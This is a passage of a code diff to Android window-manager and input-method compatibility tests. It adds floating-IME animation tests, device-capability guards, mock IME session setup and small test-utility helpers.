-        commonAnimationAssertions(mActivity, before, true /* show */, ime());
-        mActivity.mCallback.animationDone = false;
-
-        before = mActivity.mLastWindowInsets;
-
-        getInstrumentation().runOnMainSync(
-                () -> mRootView.getWindowInsetsController().hide(ime()));
-
-        waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
-
-        commonAnimationAssertions(mActivity, before, false /* show */, ime());
+    public void testImeAnimationCallbacksShowAndHide() throws Exception {
+        initActivity(false /* useFloating */);
+        testShowAndHide();
     }
 
     @Test
     @FlakyTest(detail = "Promote once confirmed non-flaky")
-    public void testAnimationCallbacks_overlapping_opposite() {
+    public void testAnimationCallbacks_overlapping_opposite() throws Exception {
+        assumeTrue(hasWindowInsets(navigationBars()));
+
+        initActivity(false /* useFloating */);
         WindowInsets before = mActivity.mLastWindowInsets;
 
         MultiAnimCallback callbackInner = new MultiAnimCallback();
@@ -153,4 +153,39 @@
                 callback.imeAnimSteps.get(callback.imeAnimSteps.size() - 1).insets
                         .getInsets(ime()));
     }
+
+    @Test
+    public void testZeroInsetsImeAnimates() throws Exception {
+        initActivity(true /* useFloating */);
+        testShowAndHide();
+    }
+
+    private void testShowAndHide() {
+        WindowInsets before = mActivity.mLastWindowInsets;
+        getInstrumentation().runOnMainSync(
+                () -> mRootView.getWindowInsetsController().show(ime()));
+
+        waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
+        commonAnimationAssertions(mActivity, before, true /* show */, ime());
+        mActivity.mCallback.animationDone = false;
+
+        before = mActivity.mLastWindowInsets;
+
+        getInstrumentation().runOnMainSync(
+                () -> mRootView.getWindowInsetsController().hide(ime()));
+
+        waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
+
+        commonAnimationAssertions(mActivity, before, false /* show */, ime());
+    }
+
+    private static ImeSettings.Builder getFloatingImeSettings() {
+        final ImeSettings.Builder builder = new ImeSettings.Builder();
+        builder.setWindowFlags(0, FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS);
+        // As documented, Window#setNavigationBarColor() is actually ignored when the IME window
+        // does not have FLAG_DRAWS_SYSTEM_BAR_BACKGROUNDS.  We are calling setNavigationBarColor()
+        // to ensure it.
+        builder.setNavigationBarColor(Color.BLACK);
+        return builder;
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
index d4e6472..f51708f 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationSynchronicityTests.java
@@ -20,6 +20,7 @@
 import static android.server.wm.WindowInsetsAnimationUtils.requestControlThenTransitionToVisibility;
 import static android.view.ViewGroup.LayoutParams.MATCH_PARENT;
 import static android.view.WindowInsets.Type.ime;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_ALWAYS_HIDDEN;
 
 import static androidx.test.platform.app.InstrumentationRegistry.getInstrumentation;
 
@@ -43,6 +44,7 @@
 import android.view.WindowInsetsAnimation;
 import android.view.WindowInsetsAnimation.Callback;
 import android.view.WindowInsetsController;
+import android.view.inputmethod.EditorInfo;
 import android.view.inputmethod.InputMethodManager;
 import android.widget.EditText;
 import android.widget.FrameLayout;
@@ -136,8 +138,10 @@
             super.onCreate(savedInstanceState);
             getWindow().requestFeature(Window.FEATURE_NO_TITLE);
             getWindow().setDecorFitsSystemWindows(false);
+            getWindow().setSoftInputMode(SOFT_INPUT_STATE_ALWAYS_HIDDEN);
             mTestView = new TestView(this);
             mEditText = new EditText(this);
+            mEditText.setImeOptions(EditorInfo.IME_FLAG_NO_FULLSCREEN);
             mTestView.addView(mEditText);
             mTestView.mEvaluator = () -> {
                 if (mEvaluator != null) {
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java
index 404fd70..ebcc34a 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTestBase.java
@@ -22,6 +22,7 @@
 import static android.view.WindowInsets.Type.statusBars;
 import static android.view.WindowInsets.Type.systemBars;
 import static android.view.WindowManager.LayoutParams.LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_HIDDEN;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotNull;
@@ -33,16 +34,20 @@
 import static org.mockito.Mockito.inOrder;
 import static org.mockito.Mockito.spy;
 
+import android.graphics.Insets;
 import android.os.Bundle;
+import android.os.SystemClock;
+import android.server.wm.WindowInsetsAnimationTestBase.AnimCallback.AnimationStep;
 import android.util.ArraySet;
 import android.view.View;
 import android.view.WindowInsets;
 import android.view.WindowInsetsAnimation;
-import android.server.wm.WindowInsetsAnimationTestBase.AnimCallback.AnimationStep;
 import android.widget.EditText;
 import android.widget.LinearLayout;
 import android.widget.TextView;
 
+import androidx.annotation.NonNull;
+
 import org.junit.Assert;
 import org.mockito.InOrder;
 
@@ -99,6 +104,10 @@
         assertEquals(after, steps.get(steps.size() - 1).insets);
     }
 
+    protected boolean hasWindowInsets(int types) {
+        return Insets.NONE != mRootView.getRootWindowInsets().getInsetsIgnoringVisibility(types);
+    }
+
     protected void assertAnimationSteps(ArrayList<AnimationStep> steps, boolean showAnimation) {
         assertTrue(steps.size() >= 2);
         assertEquals(0f, steps.get(0).fraction, 0f);
@@ -281,6 +290,10 @@
 
     public static class TestActivity extends FocusableActivity {
 
+        private final String mEditTextMarker =
+                "android.server.wm.WindowInsetsAnimationTestBase.TestActivity"
+                        + SystemClock.elapsedRealtimeNanos();
+
         AnimCallback mCallback =
                 spy(new AnimCallback(WindowInsetsAnimation.Callback.DISPATCH_MODE_STOP));
         WindowInsets mLastWindowInsets;
@@ -299,6 +312,11 @@
             }
         }
 
+        @NonNull
+        String getEditTextMarker() {
+            return mEditTextMarker;
+        }
+
         @Override
         protected void onCreate(Bundle savedInstanceState) {
             super.onCreate(savedInstanceState);
@@ -308,11 +326,14 @@
             mView.setOnApplyWindowInsetsListener(mListener);
             mChild = new TextView(this);
             mEditor = new EditText(this);
+            mEditor.setPrivateImeOptions(mEditTextMarker);
             mView.addView(mChild);
+            mView.addView(mEditor);
 
             getWindow().setDecorFitsSystemWindows(false);
             getWindow().getAttributes().layoutInDisplayCutoutMode =
                     LAYOUT_IN_DISPLAY_CUTOUT_MODE_ALWAYS;
+            getWindow().setSoftInputMode(SOFT_INPUT_STATE_HIDDEN);
             setContentView(mView);
             mEditor.requestFocus();
         }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
index e3a5328..0a471a6 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsAnimationTests.java
@@ -26,6 +26,7 @@
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeTrue;
 import static org.mockito.ArgumentMatchers.any;
 import static org.mockito.ArgumentMatchers.argThat;
 import static org.mockito.ArgumentMatchers.eq;
@@ -38,6 +39,7 @@
 import static org.mockito.Mockito.withSettings;
 
 import android.platform.test.annotations.Presubmit;
+import android.view.View;
 import android.view.WindowInsets;
 import android.view.WindowInsetsAnimation;
 import android.view.WindowInsetsAnimation.Bounds;
@@ -49,8 +51,6 @@
 
 import java.util.List;
 
-import androidx.test.filters.FlakyTest;
-
 /**
  * Test whether {@link WindowInsetsAnimation.Callback} are properly dispatched to views.
  *
@@ -65,6 +65,7 @@
         super.setUp();
         mActivity = startActivity(TestActivity.class);
         mRootView = mActivity.getWindow().getDecorView();
+        assumeTrue(hasWindowInsets(systemBars()));
     }
 
     @Test
@@ -98,7 +99,6 @@
     }
 
     @Test
-    @FlakyTest(detail = "Promote once confirmed non-flaky")
     public void testAnimationCallbacks_overlapping() {
         WindowInsets before = mActivity.mLastWindowInsets;
 
@@ -219,11 +219,35 @@
 
         waitForOrFail("Waiting until animation done", () -> done[0]);
 
-        verify(childCallback).onStart(any(), argThat(
-                bounds -> bounds.getUpperBound().equals(before.getInsets(statusBars()))));
-        verify(childCallback, atLeastOnce()).onProgress(argThat(
-                insets -> NONE.equals(insets.getInsets(navigationBars()))), any());
+        if (hasWindowInsets(statusBars())) {
+            verify(childCallback).onStart(any(), argThat(
+                    bounds -> bounds.getUpperBound().equals(before.getInsets(statusBars()))));
+        }
+        if (hasWindowInsets(navigationBars())) {
+            verify(childCallback, atLeastOnce()).onProgress(argThat(
+                    insets -> NONE.equals(insets.getInsets(navigationBars()))), any());
+        }
     }
 
+    @Test
+    public void testAnimationCallbacks_withLegacyFlags() {
+        getInstrumentation().runOnMainSync(() -> {
+            mActivity.getWindow().setDecorFitsSystemWindows(true);
+            mRootView.setSystemUiVisibility(
+                    View.SYSTEM_UI_FLAG_LAYOUT_FULLSCREEN
+                            | View.SYSTEM_UI_FLAG_LAYOUT_HIDE_NAVIGATION
+                            | View.SYSTEM_UI_FLAG_LAYOUT_STABLE);
+            mRootView.post(() -> {
+                mRootView.getWindowInsetsController().hide(systemBars());
+            });
+        });
 
+        waitForOrFail("Waiting until animation done", () -> mActivity.mCallback.animationDone);
+
+        assertFalse(getWmState().isWindowVisible("StatusBar"));
+        verify(mActivity.mCallback).onPrepare(any());
+        verify(mActivity.mCallback).onStart(any(), any());
+        verify(mActivity.mCallback, atLeastOnce()).onProgress(any(), any());
+        verify(mActivity.mCallback).onEnd(any());
+    }
 }
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
index 0f29d97..aca3a97 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/WindowInsetsControllerTests.java
@@ -29,17 +29,26 @@
 import static android.view.WindowInsetsController.BEHAVIOR_SHOW_TRANSIENT_BARS_BY_SWIPE;
 import static android.view.WindowManager.LayoutParams.FLAG_FULLSCREEN;
 import static android.view.WindowManager.LayoutParams.FLAG_NOT_FOCUSABLE;
+import static android.view.WindowManager.LayoutParams.SOFT_INPUT_STATE_HIDDEN;
 import static android.view.WindowManager.LayoutParams.TYPE_APPLICATION;
 
 import static androidx.test.InstrumentationRegistry.getInstrumentation;
 
+import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
+import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
+
 import static org.hamcrest.Matchers.is;
 import static org.hamcrest.Matchers.notNullValue;
+import static org.hamcrest.Matchers.nullValue;
 import static org.junit.Assert.assertFalse;
+import static org.junit.Assume.assumeThat;
 import static org.junit.Assume.assumeTrue;
 
 import android.app.Activity;
 import android.app.AlertDialog;
+import android.app.Instrumentation;
+import android.content.Context;
+import android.content.pm.PackageManager;
 import android.os.Bundle;
 import android.os.SystemClock;
 import android.platform.test.annotations.Presubmit;
@@ -53,10 +62,14 @@
 import android.widget.LinearLayout;
 import android.widget.TextView;
 
+import androidx.annotation.Nullable;
 import androidx.test.filters.FlakyTest;
 
 import com.android.compatibility.common.util.PollingCheck;
 import com.android.compatibility.common.util.SystemUtil;
+import com.android.cts.mockime.ImeEventStream;
+import com.android.cts.mockime.ImeSettings;
+import com.android.cts.mockime.MockImeSession;
 
 import org.junit.Rule;
 import org.junit.Test;
@@ -78,6 +91,9 @@
     private final static long TIME_SLICE = 50; // milliseconds
     private final static AnimationCallback ANIMATION_CALLBACK = new AnimationCallback();
 
+    private static final String AM_BROADCAST_CLOSE_SYSTEM_DIALOGS =
+            "am broadcast -a android.intent.action.CLOSE_SYSTEM_DIALOGS";
+
     @Rule
     public final ErrorCollector mErrorCollector = new ErrorCollector();
 
@@ -174,17 +190,27 @@
     }
 
     @Test
-    public void testImeShowAndHide() {
-        final TestActivity activity = startActivity(TestActivity.class);
-        final View rootView = activity.getWindow().getDecorView();
-        getInstrumentation().runOnMainSync(() -> {
-            rootView.getWindowInsetsController().show(ime());
-        });
-        PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(ime()));
-        getInstrumentation().runOnMainSync(() -> {
-            rootView.getWindowInsetsController().hide(ime());
-        });
-        PollingCheck.waitFor(TIMEOUT, () -> !rootView.getRootWindowInsets().isVisible(ime()));
+    public void testImeShowAndHide() throws Exception {
+        final Instrumentation instrumentation = getInstrumentation();
+        assumeThat(MockImeSession.getUnavailabilityReason(instrumentation.getContext()),
+                nullValue());
+        try (MockImeSession imeSession = MockImeSession.create(instrumentation.getContext(),
+                instrumentation.getUiAutomation(), new ImeSettings.Builder())) {
+            final ImeEventStream stream = imeSession.openEventStream();
+
+            final TestActivity activity = startActivity(TestActivity.class);
+            expectEvent(stream, editorMatcher("onStartInput", activity.mEditTextMarker), TIMEOUT);
+
+            final View rootView = activity.getWindow().getDecorView();
+            getInstrumentation().runOnMainSync(() -> {
+                rootView.getWindowInsetsController().show(ime());
+            });
+            PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(ime()));
+            getInstrumentation().runOnMainSync(() -> {
+                rootView.getWindowInsetsController().hide(ime());
+            });
+            PollingCheck.waitFor(TIMEOUT, () -> !rootView.getRootWindowInsets().isVisible(ime()));
+        }
     }
 
     @Test
@@ -394,6 +420,12 @@
         // Swiping from top of display can show bars.
         dragFromTopToCenter(rootView);
         PollingCheck.waitFor(TIMEOUT, () -> rootView.getRootWindowInsets().isVisible(types));
+
+        // The swipe action brings down the notification shade which causes subsequent tests to
+        // fail.
+        if (isAutomotive(mContext)) {
+            broadcastCloseSystemDialogs();
+        }
     }
 
     @Test
@@ -448,11 +480,17 @@
 
     @Test
     public void testShowImeOnCreate() throws Exception {
-        final TestShowOnCreateActivity activity = startActivity(TestShowOnCreateActivity.class);
-        final View rootView = activity.getWindow().getDecorView();
-        ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
-        PollingCheck.waitFor(TIMEOUT,
-                () -> rootView.getRootWindowInsets().isVisible(ime()));
+        final Instrumentation instrumentation = getInstrumentation();
+        assumeThat(MockImeSession.getUnavailabilityReason(instrumentation.getContext()),
+                nullValue());
+        try (MockImeSession imeSession = MockImeSession.create(instrumentation.getContext(),
+                instrumentation.getUiAutomation(), new ImeSettings.Builder())) {
+            final TestShowOnCreateActivity activity = startActivity(TestShowOnCreateActivity.class);
+            final View rootView = activity.getWindow().getDecorView();
+            ANIMATION_CALLBACK.waitForFinishing(TIMEOUT);
+            PollingCheck.waitFor(TIMEOUT,
+                    () -> rootView.getRootWindowInsets().isVisible(ime()));
+        }
     }
 
     @Test
@@ -509,6 +547,14 @@
 
     }
 
+    private static void broadcastCloseSystemDialogs() {
+        executeShellCommand(AM_BROADCAST_CLOSE_SYSTEM_DIALOGS);
+    }
+
+    private static boolean isAutomotive(Context context) {
+        return context.getPackageManager().hasSystemFeature(PackageManager.FEATURE_AUTOMOTIVE);
+    }
+
     private static void hideInsets(View view, int types) throws InterruptedException {
         ANIMATION_CALLBACK.reset();
         getInstrumentation().runOnMainSync(() -> {
@@ -592,10 +638,11 @@
         }
     }
 
-    private static View setViews(Activity activity) {
+    private static View setViews(Activity activity, @Nullable String privateImeOptions) {
         LinearLayout layout = new LinearLayout(activity);
         View text = new TextView(activity);
         EditText editor = new EditText(activity);
+        editor.setPrivateImeOptions(privateImeOptions);
         layout.addView(text);
         layout.addView(editor);
         activity.setContentView(layout);
@@ -604,11 +651,14 @@
     }
 
     public static class TestActivity extends FocusableActivity {
+        final String mEditTextMarker =
+                getClass().getName() + "/" + SystemClock.elapsedRealtimeNanos();
 
         @Override
         protected void onCreate(Bundle savedInstanceState) {
             super.onCreate(savedInstanceState);
-            setViews(this);
+            setViews(this, mEditTextMarker);
+            getWindow().setSoftInputMode(SOFT_INPUT_STATE_HIDDEN);
         }
     }
 
@@ -617,7 +667,7 @@
         @Override
         protected void onCreate(Bundle savedInstanceState) {
             super.onCreate(savedInstanceState);
-            View layout = setViews(this);
+            View layout = setViews(this, null /* privateImeOptions */);
             ANIMATION_CALLBACK.reset();
             getWindow().getDecorView().setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
             getWindow().getInsetsController().hide(statusBars());
@@ -626,11 +676,10 @@
     }
 
     public static class TestShowOnCreateActivity extends FocusableActivity {
-
         @Override
         protected void onCreate(Bundle savedInstanceState) {
             super.onCreate(savedInstanceState);
-            View layout = setViews(this);
+            setViews(this, null /* privateImeOptions */);
             ANIMATION_CALLBACK.reset();
             getWindow().getDecorView().setWindowInsetsAnimationCallback(ANIMATION_CALLBACK);
             getWindow().getInsetsController().show(ime());
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
index 142b8ac..e4dc868 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityLifecyclePipTests.java
@@ -218,6 +218,8 @@
 
     @Test
     public void testSplitScreenBelowPip() throws Exception {
+        assumeTrue(supportsSplitScreenMultiWindow());
+
         // TODO(b/149338177): Fix test to pass with organizer API.
         mUseTaskOrganizer = false;
         // Launch Pip-capable activity and enter Pip immediately
@@ -255,6 +257,8 @@
 
     @Test
     public void testPipAboveSplitScreen() throws Exception {
+        assumeTrue(supportsSplitScreenMultiWindow());
+
         // TODO(b/149338177): Fix test to pass with organizer API.
         mUseTaskOrganizer = false;
         // Launch first activity
diff --git a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
index 76cf406..afa03c2 100644
--- a/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
+++ b/tests/framework/base/windowmanager/src/android/server/wm/lifecycle/ActivityStarterTests.java
@@ -29,6 +29,7 @@
 import static android.server.wm.app.Components.ALIAS_TEST_ACTIVITY;
 import static android.server.wm.app.Components.TEST_ACTIVITY;
 import static android.server.wm.lifecycle.LifecycleLog.ActivityCallback.ON_STOP;
+import static android.view.Display.DEFAULT_DISPLAY;
 
 import static org.junit.Assert.assertEquals;
 import static org.junit.Assert.assertNotEquals;
@@ -259,7 +260,7 @@
         // Launch alias activity.
         getLaunchActivityBuilder().setUseInstrumentation().setTargetActivity(ALIAS_TEST_ACTIVITY)
                 .setIntentFlags(FLAG_ACTIVITY_NEW_TASK).execute();
-        final int stacks = mWmState.getRootTasksCount();
+        final int stacks = mWmState.getRootTasksCount(DEFAULT_DISPLAY);
         final int taskId =
                 mWmState.getTaskByActivity(ALIAS_TEST_ACTIVITY).getTaskId();
 
@@ -270,7 +271,7 @@
         assertEquals("Instance of the activity in its task must be only one", 1,
                 mWmState.getActivityCountInTask(taskId, ALIAS_TEST_ACTIVITY));
         assertEquals("Stacks counts should not be increased.", stacks,
-                mWmState.getRootTasksCount());
+                mWmState.getRootTasksCount(DEFAULT_DISPLAY));
 
         // Return to home and launch the real activity.
         launchHomeActivity();
@@ -279,7 +280,7 @@
         assertEquals("Instance of the activity in its task must be only one", 1,
                 mWmState.getActivityCountInTask(taskId, ALIAS_TEST_ACTIVITY));
         assertEquals("Stacks counts should not be increased.", stacks,
-                mWmState.getRootTasksCount());
+                mWmState.getRootTasksCount(DEFAULT_DISPLAY));
     }
 
     /**
diff --git a/tests/framework/base/windowmanager/testsdk29/src/android/server/wm/DecorInsetSdk29Tests.java b/tests/framework/base/windowmanager/testsdk29/src/android/server/wm/DecorInsetSdk29Tests.java
index 6d6d93d..b3413c4 100644
--- a/tests/framework/base/windowmanager/testsdk29/src/android/server/wm/DecorInsetSdk29Tests.java
+++ b/tests/framework/base/windowmanager/testsdk29/src/android/server/wm/DecorInsetSdk29Tests.java
@@ -46,6 +46,8 @@
 
         assertNotNull("test setup failed", activity.mLastDecorInsets);
         assertNull("unexpected content insets", activity.mLastContentInsets);
+
+        assertContentViewLocationMatchesInsets();
     }
 
     @Test
@@ -60,6 +62,8 @@
         assertNotNull("test setup failed", activity.mLastDecorInsets);
         assertEquals("unexpected bottom inset: ", 0, activity.mLastContentInsets.getInsets(
                 WindowInsets.Type.systemBars()).bottom);
+
+        assertContentViewLocationMatchesInsets();
     }
 
     @Test
@@ -75,20 +79,26 @@
         assertEquals("insets were unexpectedly consumed: ",
                 activity.mLastDecorInsets.getSystemWindowInsets(),
                 activity.mLastContentInsets.getSystemWindowInsets());
+
+        assertContentViewLocationMatchesInsets();
     }
 
     @Test
     public void testDecorView_doesntConsumeNavBar_ifDecorDoesntFitSystemWindows() throws Throwable {
         TestActivity activity = mDecorActivity.launchActivity(new Intent()
-                .putExtra(ARG_LAYOUT_STABLE, true)
+                .putExtra(ARG_LAYOUT_STABLE, false)
                 .putExtra(ARG_LAYOUT_FULLSCREEN, false)
                 .putExtra(ARG_LAYOUT_HIDE_NAV, false)
                 .putExtra(ARG_DECOR_FITS_SYSTEM_WINDOWS, false));
         activity.mLaidOut.await(4, TimeUnit.SECONDS);
 
+        assertEquals(0, activity.getWindow().getDecorView().getWindowSystemUiVisibility());
+
         assertNotNull("test setup failed", activity.mLastDecorInsets);
         assertEquals("insets were unexpectedly consumed: ",
                 activity.mLastDecorInsets.getSystemWindowInsets(),
                 activity.mLastContentInsets.getSystemWindowInsets());
+
+        assertContentViewLocationMatchesInsets();
     }
 }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
index 1f1d4e8..7ddc020 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/ActivityManagerTestBase.java
@@ -192,11 +192,12 @@
     private static final List<String> TEST_PACKAGES;
 
     static {
-        final List<String> testPackages = new ArrayList<>(3);
+        final List<String> testPackages = new ArrayList<>();
         testPackages.add(TEST_PACKAGE);
         testPackages.add(SECOND_TEST_PACKAGE);
         testPackages.add(THIRD_TEST_PACKAGE);
         testPackages.add("android.server.wm.cts");
+        testPackages.add("android.server.wm.jetpack");
         TEST_PACKAGES = Collections.unmodifiableList(testPackages);
     }
 
@@ -214,6 +215,7 @@
     private static Boolean sHasHomeScreen = null;
     private static Boolean sSupportsSystemDecorsOnSecondaryDisplays = null;
     private static Boolean sSupportsInsecureLockScreen = null;
+    private static Boolean sIsAssistantOnTop = null;
     private static boolean sStackTaskLeakFound;
 
     protected static final int INVALID_DEVICE_ROTATION = -1;
@@ -1091,6 +1093,14 @@
         return sSupportsInsecureLockScreen;
     }
 
+    protected boolean isAssistantOnTop() {
+        if (sIsAssistantOnTop == null) {
+            sIsAssistantOnTop = mContext.getResources().getBoolean(
+                    android.R.bool.config_assistantOnTopOfDream);
+        }
+        return sIsAssistantOnTop;
+    }
+
     /**
      * Rotation support is indicated by explicitly having both landscape and portrait
      * features or not listing either at all.
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
index ca3f727..9597478 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/TestTaskOrganizer.java
@@ -168,9 +168,10 @@
 
     private void removeTask(ActivityManager.RunningTaskInfo taskInfo) {
         final int taskId = taskInfo.taskId;
-        mKnownTasks.remove(taskId);
-
-        if (taskId == mRootPrimary.taskId) mRootPrimary = null;
-        if (taskId == mRootSecondary.taskId) mRootSecondary = null;
+        // ignores cleanup on duplicated removal request
+        if (mKnownTasks.remove(taskId) != null) {
+            if (mRootPrimary != null && taskId == mRootPrimary.taskId) mRootPrimary = null;
+            if (mRootSecondary != null && taskId == mRootSecondary.taskId) mRootSecondary = null;
+        }
     }
 }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
index 4e8d8fd..f362c23 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerState.java
@@ -825,6 +825,14 @@
         return mRootTasks.size();
     }
 
+    public int getRootTasksCount(int displayId) {
+        int count = 0;
+        for (ActivityTask rootTask : mRootTasks) {
+            if (rootTask.mDisplayId == displayId) ++count;
+        }
+        return count;
+    }
+
     boolean pendingActivityContain(ComponentName activityName) {
         return mPendingActivities.contains(getActivityName(activityName));
     }
diff --git a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
index 02a18c5..1a77ba4 100644
--- a/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
+++ b/tests/framework/base/windowmanager/util/src/android/server/wm/WindowManagerStateHelper.java
@@ -273,6 +273,12 @@
                         "keyguard window to dismiss"));
     }
 
+    void waitForWindowSurfaceDisappeared(String windowName) {
+        waitForWithAmState(state -> {
+            return !state.isWindowSurfaceShown(windowName);
+        }, windowName + "'s surface is disappeared");
+    }
+
     public boolean waitForWithAmState(Predicate<WindowManagerState> waitCondition,
             String message) {
         return waitFor((amState) -> waitCondition.test(amState), message);
@@ -554,6 +560,13 @@
                 containsWindow(windowName));
     }
 
+    public void waitAndAssertVisibilityGone(final ComponentName activityName) {
+        // Sometimes the surface can be shown due to the late animation.
+        // Wait for the animation is done.
+        waitForWindowSurfaceDisappeared(getWindowName(activityName));
+        assertVisibility(activityName, false);
+    }
+
     public void assertVisibility(final ComponentName activityName, final boolean visible) {
         final String windowName = getWindowName(activityName);
         // Check existence of activity and window.
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
index f08633f..4e62194 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeEventStreamTestUtils.java
@@ -340,4 +340,21 @@
             throw new RuntimeException("notExpectEvent failed: " + stream.dump(), e);
         }
     }
+
+    /**
+     * Clear all events with {@code eventName} in given {@code stream} and returns a forked
+     * {@link ImeEventStream} without events with {@code eventName}.
+     * <p>It is used to make sure previous events influence the test. </p>
+     *
+     * @param stream {@link ImeEventStream} to be cleared
+     * @param eventName The targeted cleared event name
+     * @return A forked {@link ImeEventStream} without event with {@code eventName}
+     */
+    public static ImeEventStream clearAllEvents(@NonNull ImeEventStream stream,
+            @NonNull String eventName) {
+        while (stream.seekToFirst(event -> eventName.equals(event.getEventName())).isPresent()) {
+            stream.skip(1);
+        }
+        return stream.copy();
+    }
 }
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
index 917f7b3..6731e85 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/ImeSettings.java
@@ -52,6 +52,7 @@
     private static final String INLINE_SUGGESTIONS_ENABLED = "InlineSuggestionsEnabled";
     private static final String INLINE_SUGGESTION_VIEW_CONTENT_DESC =
             "InlineSuggestionViewContentDesc";
+    private static final String STRICT_MODE_ENABLED = "StrictModeEnabled";
 
     @NonNull
     private final PersistableBundle mBundle;
@@ -127,6 +128,10 @@
         return mBundle.getString(INLINE_SUGGESTION_VIEW_CONTENT_DESC, defaultValue);
     }
 
+    public boolean isStrictModeEnabled() {
+        return mBundle.getBoolean(STRICT_MODE_ENABLED, false);
+    }
+
     static Bundle serializeToBundle(@NonNull String eventCallbackActionName,
             @Nullable Builder builder) {
         final Bundle result = new Bundle();
@@ -280,5 +285,10 @@
             return this;
         }
 
+        /** Sets whether to enable {@link android.os.StrictMode} or not. */
+        public Builder setStrictModeEnabled(boolean enabled) {
+            mBundle.putBoolean(STRICT_MODE_ENABLED, enabled);
+            return this;
+        }
     }
 }
diff --git a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
index f6bf355..ba7262e 100644
--- a/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
+++ b/tests/inputmethod/mockime/src/com/android/cts/mockime/MockIme.java
@@ -36,6 +36,7 @@
 import android.os.Looper;
 import android.os.Process;
 import android.os.ResultReceiver;
+import android.os.StrictMode;
 import android.os.SystemClock;
 import android.text.TextUtils;
 import android.util.Log;
@@ -44,6 +45,7 @@
 import android.view.Gravity;
 import android.view.KeyEvent;
 import android.view.View;
+import android.view.ViewConfiguration;
 import android.view.Window;
 import android.view.WindowInsets;
 import android.view.WindowManager;
@@ -59,9 +61,9 @@
 import android.view.inputmethod.InputContentInfo;
 import android.view.inputmethod.InputMethod;
 import android.widget.FrameLayout;
+import android.widget.HorizontalScrollView;
 import android.widget.ImageView;
 import android.widget.LinearLayout;
-import android.widget.ScrollView;
 import android.widget.TextView;
 import android.widget.inline.InlinePresentationSpec;
 
